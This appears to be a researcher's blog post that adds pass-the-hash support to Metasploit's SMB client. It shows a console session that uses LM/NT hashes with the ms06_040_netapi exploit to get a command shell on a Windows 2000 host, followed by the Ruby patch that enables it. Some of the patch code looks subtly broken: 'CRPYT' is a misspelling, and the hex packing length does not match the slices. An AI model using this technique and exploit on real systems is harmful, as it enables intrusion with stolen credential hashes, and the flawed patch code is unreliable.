NTLM Hash Update

Things got a little busy/crazy around here so I'm not satisfied with what I have done so far so no code yet. This past weekend was Toorcon 1001 and it was as enjoyable as ever. I had a few breakthrough ideas thanks to the talks and side chats with everybody. That's mostly why I'm not satisfied -- always room for improvement. :)

I promise to show something soon. Really.

Pass The Hash Support for Metasploit

Surprisingly Metasploit 3's SMB auth routines didn't support "pass the hash" so I took some time and put it in.

msf exploit(ms06_040_netapi) > set SMBPass 6A98EB0FB88A449CBE6FABFD825BCA61:A4141712F19E9DD5ADF16919BB38A95C
SMBPass => 6A98EB0FB88A449CBE6FABFD825BCA61:A4141712F19E9DD5ADF16919BB38A95C
msf exploit(ms06_040_netapi) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(ms06_040_netapi) > exploit
[*] Started bind handler
[*] Doing pass the hash.
[*] LM: 6A98EB0FB88A449CBE6FABFD825BCA61
[*] NT: A4141712F19E9DD5ADF16919BB38A95C
[*] Detected a Windows 2000 target
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.110.130[\BROWSER] ...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.110.130[\BROWSER] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Command shell session 1 opened (192.168.110.1:42485 -> 192.168.110.130:4444)

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

The Patch:

Index: lib/rex/proto/smb/client.rb
===================================================================
--- lib/rex/proto/smb/client.rb (revision 4889)
+++ lib/rex/proto/smb/client.rb (working copy)
@@ -568,8 +568,13 @@

raise XCEPT::NTLM1MissingChallenge if not self.challenge_key

- hash_lm = pass.length > 0 ? CRYPT.lanman_des(pass, self.challenge_key) : ''
- hash_nt = pass.length > 0 ? CRYPT.ntlm_md4(pass, self.challenge_key) : ''
+ if (pass.length == 65)
+ hash_lm = CRYPT.e_p24( [ pass.upcase()[0,32] ].pack('H42'), self.challenge_key)
+ hash_nt = CRPYT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), self.challenge_key)
+ else
+ hash_lm = pass.length > 0 ? CRYPT.lanman_des(pass, self.challenge_key) : ''
+ hash_nt = pass.length > 0 ? CRYPT.ntlm_md4(pass, self.challenge_key) : ''
+ end

data = ''
data << hash_lm
@@ -690,7 +695,11 @@
nonce = CRYPT.md5_hash(self.challenge_key + client_challenge)

# Generate the NTLM hash
- resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8])
+ if (pass.length == 65)
+ resp_ntlm = CRYPT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), nonce[0, 8])
+ else
+ resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8])
+ end

# Generate the fake LANMAN hash
resp_lmv2 = client_challenge + ("\x00" * 16)